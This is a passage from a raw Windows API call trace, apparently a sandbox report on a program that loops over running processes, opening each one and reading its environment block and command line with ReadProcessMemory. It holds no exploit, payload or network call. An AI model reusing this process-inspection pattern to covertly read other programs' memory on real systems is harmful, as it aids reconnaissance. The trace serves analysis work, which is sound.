lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.182] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.184] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.184] malloc (_Size=0x72) returned 0x196ef0d31b0 [0261.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.185] free (_Block=0x196ef0d31b0) [0261.186] CloseHandle (hObject=0x464) returned 1 [0261.187] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0261.194] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4196") returned 4 [0261.195] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.195] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.225] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x464 [0261.225] GetLastError () returned 0x0 [0261.226] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.226] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.226] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.226] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.227] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7918f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.228] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.230] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.230] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.231] malloc (_Size=0x5e) returned 0x196ef0d06f0 [0261.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d06f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.232] free (_Block=0x196ef0d06f0) [0261.233] CloseHandle (hObject=0x464) returned 1 [0261.234] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0261.242] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4212") returned 4 [0261.244] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.244] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.283] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x464 [0261.283] GetLastError () returned 0x0 [0261.283] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.283] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.286] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.287] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.288] malloc (_Size=0x9c) returned 0x196ef0fabb0 [0261.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46198c, lpBuffer=0x196ef0fabb0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fabb0*, lpNumberOfBytesRead=0x0) returned 1 [0261.289] free (_Block=0x196ef0fabb0) [0261.290] CloseHandle (hObject=0x464) returned 1 [0261.291] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0261.298] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4272") returned 4 [0261.299] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.299] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x464 [0261.335] GetLastError () returned 0x0 [0261.335] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.335] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491e40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4919f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.337] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4913e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.339] malloc (_Size=0xbc) returned 0x196ef0d4e70 [0261.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d4e70, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0261.341] free (_Block=0x196ef0d4e70) [0261.342] CloseHandle (hObject=0x464) returned 1 [0261.343] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0261.350] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4384") returned 4 [0261.351] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.351] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x464 [0261.414] GetLastError () returned 0x0 [0261.414] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.414] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.414] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.414] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.415] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.415] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.417] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.417] malloc (_Size=0x76) returned 0x196ef0d2120 [0261.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0261.417] free (_Block=0x196ef0d2120) [0261.418] CloseHandle (hObject=0x464) returned 1 [0261.419] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0261.428] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="5084") returned 4 [0261.430] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.430] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.452] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0261.452] CloseHandle (hObject=0x0) returned 0 [0261.452] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0261.457] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4916") returned 4 [0261.459] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.459] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x464 [0261.495] GetLastError () returned 0x0 [0261.496] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.496] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.496] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.497] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.497] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618c8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.515] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.517] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.517] malloc (_Size=0x78) returned 0x196ef0d2120 [0261.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0261.518] free (_Block=0x196ef0d2120) [0261.519] CloseHandle (hObject=0x464) returned 1 [0261.520] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0261.527] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2760") returned 4 [0261.530] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.530] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x464 [0261.552] GetLastError () returned 0x0 [0261.552] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.552] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.555] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.557] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.558] malloc (_Size=0x48) returned 0x196ef0fb270 [0261.558] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fb270, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb270*, lpNumberOfBytesRead=0x0) returned 1 [0261.559] free (_Block=0x196ef0fb270) [0261.560] CloseHandle (hObject=0x464) returned 1 [0261.577] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0261.589] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4932") returned 4 [0261.592] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.592] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.614] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x464 [0261.614] GetLastError () returned 0x0 [0261.615] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181c40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1818c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.617] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.619] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1812b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.620] malloc (_Size=0x42) returned 0x196ef0fb4a0 [0261.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181908, lpBuffer=0x196ef0fb4a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb4a0*, lpNumberOfBytesRead=0x0) returned 1 [0261.621] free (_Block=0x196ef0fb4a0) [0261.622] CloseHandle (hObject=0x464) returned 1 [0261.735] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0261.742] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="996") returned 3 [0261.743] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 